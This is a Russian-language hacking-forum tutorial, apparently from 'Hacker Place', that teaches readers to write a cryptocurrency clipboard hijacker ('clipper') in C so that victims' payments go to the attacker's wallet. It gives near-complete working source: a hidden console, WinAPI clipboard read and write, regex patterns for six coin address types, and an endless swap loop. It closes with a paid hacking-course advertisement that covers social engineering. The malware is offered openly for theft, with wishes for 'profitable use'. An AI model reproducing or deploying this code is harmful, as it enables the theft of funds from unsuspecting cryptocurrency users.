Как получать чужую крипту на свой кошелек
Салют, Аноним! На связи Golden - глава Hacker Place
Сегодня мы с тобой создадим клиппер, который будет подменять чужие крипто-кошельки на наш. Таким образом, криптовалюта, отправляемая жертвой на чей-либо кошелек, окажется у нас.
Звучит заманчиво? Еще бы, давай разбираться!
Что такое клиппер?
Для начала, давай разберемся, что вообще есть клиппер.
Клиппер - это вредоносная программа, заменяющая криптоадреса в буфере обмена на адреса злоумышленника (наш), дабы жертва во время отправки монет отправила их к злоумышленнику (нам).
Как устроен клиппер?
Все выглядит достаточно просто. Разбираем каждый блок. Получение и подмена буфера обмена может быть реализована через любую библиотеку, работающую с winapi на любом языке. Как же проверять, является ли текст адресом?
Ответ - регулярные выражения (regex). Что же это?
Regex
Регулярные выражения - это формальный язык, благодаря которому можно проверять соответствие текста определенным критериям - длина, набор букв и т.д.
Почитать подробнее о них можно, например, здесь. Проверка на соответствие происходит по паттернам (англ. pattern, у нас обычно используется термин "шаблон"). Паттерны можно спокойно найти в интернете по запросу "*название крипты* address regex
".
Пишем свой клиппер
Я буду писать на C, но его можно написать хоть на питоне, хотя я не рекомендую этого делать.
Т.к. в стандартной библиотеке C нет библиотеки для регулярок, я буду использовать до невозможности сырую, но единственную и компактную библиотеку tiny-regex-c.
- Скачиваем re.c и re.h, импортируем их в проект.
- Импортируем нужные библиотеки в main.c и скрываем консоль через ключевые слова для компилятора (pragma):
#include "re.h" #include <windows.h> #pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
char* getclipboard() { static HANDLE clip; if (OpenClipboard(NULL)) { clip = GetClipboardData(CF_TEXT); CloseClipboard(); } return (char*)clip; } void setclipboard(char* text) { HGLOBAL global = GlobalAlloc(GMEM_FIXED, strlen(text) + 1); memcpy(global, text, strlen(text)); if (OpenClipboard(NULL)) { EmptyClipboard(); SetClipboardData(CF_TEXT, global); CloseClipboard(); } }
- Создаем структуру для кошельков, она позволит без сложностей добавлять новые кошельки в клиппер (а с помощью регулярок, можно будет добавить хоть подмену ссылок оплаты).
typedef struct crypto { char* ptn; char* address; };
const char* btcadr = ""; const char* segwitadr = ""; const char* ethadr = ""; const char* ltcadr = ""; const char* xrpadr = ""; const char* dogeadr = "";
- Создаем структуры для кошельков и объединяем их в один список. Переменная ptn - паттерн regex, переменная address - адрес, который будет подменяться.
- У меня будет 5 криптовалют - Bitcoin (+SegWit адреса (bc1q)), Ethereum, Litecoin, Ripple, Dogecoin:
struct crypto btc = { .ptn = "^[13][a-km-zA-HJ-NP-Z1-9]*quot;, .address = btcadr }; // фиксированная длина не поддерживается в tiny regex struct crypto segwit = { .ptn = "^bc1q[a-zA-HJ-NP-Z0-9]*quot;, .address = segwitadr }; // на p2pkh и p2wpkh разные регулярки, так как изменение легаси адреса на сегвит (bc1q) будет заметно struct crypto eth = { .ptn = "^0x[a-fA-F0-9]*quot;, .address = ethadr }; struct crypto ltc = { .ptn = "^[LM3][a-km-zA-HJ-NP-Z1-9]*quot;, .address = ltcadr }; struct crypto xrp = { .ptn = "^r[0-9a-zA-Z]*quot;, .address = xrpadr }; struct crypto doge = { .ptn = "^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]*quot;, .address = dogeadr }; struct crypto all[6] = { btc, segwit, eth, ltc, xrp, doge }; // где 6 - количество сервисов
В регулярных выражениях стоит нефиксированное (*) число повторов. Это не так безопасно, так как, скажем, текст 1abc подойдет по регулярке и будет подменен. Используется из-за того, что в tiny-regex-c нельзя прописать фиксированное количество повторов.
Во всех языках, где это поддерживается, призываю ставить фиксированное количество повторов, соответствующее типу адреса.
while (1) { char* clipdata = getclipboard(); // получение буфера обмена if (clipdata != NULL) { // если в буфере что-то есть for (int i = 0; i < 6; i++) { // цикл из всех типов кошельков, где 6 - количество сервисов int matchlen; int match = re_match(all[i].ptn, clipdata, &matchlen); // проверка, является ли текст в буфере соответствующим адресом if (match != -1) { // если является, подмена буфера обмена на заданный в коде адрес setclipboard(all[i].address); } } } Sleep(50); // чтобы не грузило проц, после каждой проверки сон на 0.05 сек }
В комментариях кода я прописал, за что отвечает каждая команда.
На написание этого клиппера у меня ушло ~полчаса. Всего 65 строк, итоговый стаб весит 12.5кб.
Добавлять подмену других адресов по регулярке можно таким же образом, как добавлены кошельки выше. Отправку информации о ПК и прочую херню может впаять любой желающий, при наличии гугла.
- Cкачать исходники клиппера можно нажав сюда
Вывод
Написать свой клиппер может любой желающий. Причем для людей, не умеющих в кодинг, в интернете лежит множество исходников, благодаря которым затраты на недобросовестных кодеров сокращаются в разы.
С самописным клиппером ты будешь уверен в том, что ничего левого не запускается и подмена идёт именно на твой адрес. Так же ты сможешь добавить/поменять что угодно и в любой момент. Твой клиппер будет исключительно твоим и исключительно в твоих руках.
На этом у меня все! Желаю приятного и профитного использования!
Кстати, если ты хочешь освоить хакинг и начать зарабатывать на нем, то не упусти свой шанс:
АКАDЕМИЯ. НАБОР
Осталось всего 7 мест, так что советую поторопиться.
- 4 курса - Безопасность, Хакинг, Вирусология, Социальная Инженерия.
- Более 70 лекций с новыми знаниями.
- Более 40 дней обучения.
- Собственная среда обучения.
Мы рассказываем все от А до Я и предоставляем тебе выбор, пойти туда, куда интересно тебе. Что может быть лучше, чем заниматься тем, что нравится и с каждым днём совершенствоваться? Ничего. Никакая офисная работа рядом даже не станет.
Это твоя возможность поменять свое мышление, свою жизнь и получить новую прибыльную профессию без всяких мусорных дипломов.
🎄Куда же без новогоднях чудес? Я не Санта, но подготовил тебе подарок — 15% скидку на обучение.
Не упусти свой шанс, ведь следующую скидку придётся ждать целый год.
▫️Индивидуальное обучение — $420 — $357
▫️Групповое обучение — $240 — $204
Так же у нас есть вариант рассрочки.
▪️ Набор продлится до 22 декабря.
▪️ Подробно про обучение здесь: https://www.hackerplace.org/hacking-academy
▪️ Если есть вопросы, пиши мне в ЛС: @golden_hpa